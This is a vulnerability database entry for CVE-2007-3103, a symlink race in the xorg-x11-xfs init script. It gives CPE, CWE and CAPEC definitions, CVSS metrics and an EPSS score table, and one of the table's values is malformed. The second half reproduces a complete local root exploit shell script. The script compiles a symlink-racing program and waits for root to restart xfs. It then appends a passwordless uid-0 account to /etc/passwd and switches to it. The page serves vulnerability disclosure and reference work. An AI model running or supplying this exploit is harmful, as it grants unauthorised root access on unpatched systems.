CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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The init.d script for the X.Org X11 xfs font server on various Linux distributions might allow local users to change the permissions of arbitrary files via a symlink attack on the /tmp/.font-unix temporary file.
Improper Link Resolution Before File Access ('Link Following') The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.2
AV:L/AC:H/Au:N/C:C/I:C/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
3.22%
–
–
2022-02-13
–
–
3.22%
–
–
2022-04-03
–
–
3.22%
–
–
2022-09-18
–
–
3.22%
–
–
2023-03-12
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-09-15
–
–
–
0.04%
–
2024-12-08
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.08%
2025-03-30
–
–
–
–
0.08%
2025-04-06
–
–
–
–
0.08%
2025-04-15
–
–
–
–
0.08%
2025-04-15
–
–
–
–
0.08,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
#!/bin/sh
# Xorg-x11-xfs Race Condition Vuln local root exploit (CVE-2007-3103)
#
# Another lame xploit by vl4dZ :)) works on redhat el5 and before
#
# $ id
# uid=1001(kecos) gid=1001(user) groups=1001(user)
# $ sh xfs-RaceCondition-root-exploit.sh
# [*] Generate large data file in /tmp/.font-unix
# [*] Wait for xfs service to be (re)started by root...
# [*] Hop, symlink created...
# [*] Launching root shell
# -sh-3.1# id
# uid=0(root) gid=0(root) groups=0(root)
# Vulnerable version is xorg-x11-xfs <= 1.0.2-3.1 and vulnerable code is
# located in the start() function of the /etc/init.d/xfs script:
# ...
# rm -rf $FONT_UNIX_DIR
# mkdir $FONT_UNIX_DIR
# chown root:root $FONT_UNIX_DIR
# chmod 1777 $FONT_UNIX_DIR
# ...
# I'm listening right now to nice free music:
# http://www.jamendo.com/fr/album/5919
FontDir="/tmp/.font-unix"
Zero=/dev/zero
Size=900000
if [ ! -d $FontDir ]; then
printf "Is xfs running ?\n"
exit 1
fi
cd /tmp
cat > sym.c << EOF
#include <unistd.h>
int main(){
for(;;){if(symlink("/etc/passwd","/tmp/.font-unix")==0)
{return 0;}}}
EOF
cc sym.c -o sym>/dev/null 2>&1
if [ $? != 0 ]; then
printf "Error: Cant compile code"
exit 1
fi
printf "[*] Generate large data file in $FontDir\n"
dd if=${Zero} of=${FontDir}/BigFile bs=1024 count=${Size}>/dev/null 2>&1
if [ $? != 0 ]; then
printf "Error: cant create large file"
exit 1
fi
printf "[*] Wait for xfs service to be (re)started by root...\n"
./sym
if [ $? != 0 ]; then
printf "Error: code failed...\n"
exit 1
fi
if [ -L /tmp/.font-unix ]; then
printf "[*] Hop, symlink created...\n"
printf "[*] Launching root shell\n"
sleep 2
rm -f /tmp/.font-unix
echo "r00t::0:0::/:/bin/sh" >> /etc/passwd
fi
su - r00t
# milw0rm.com [2008-02-21]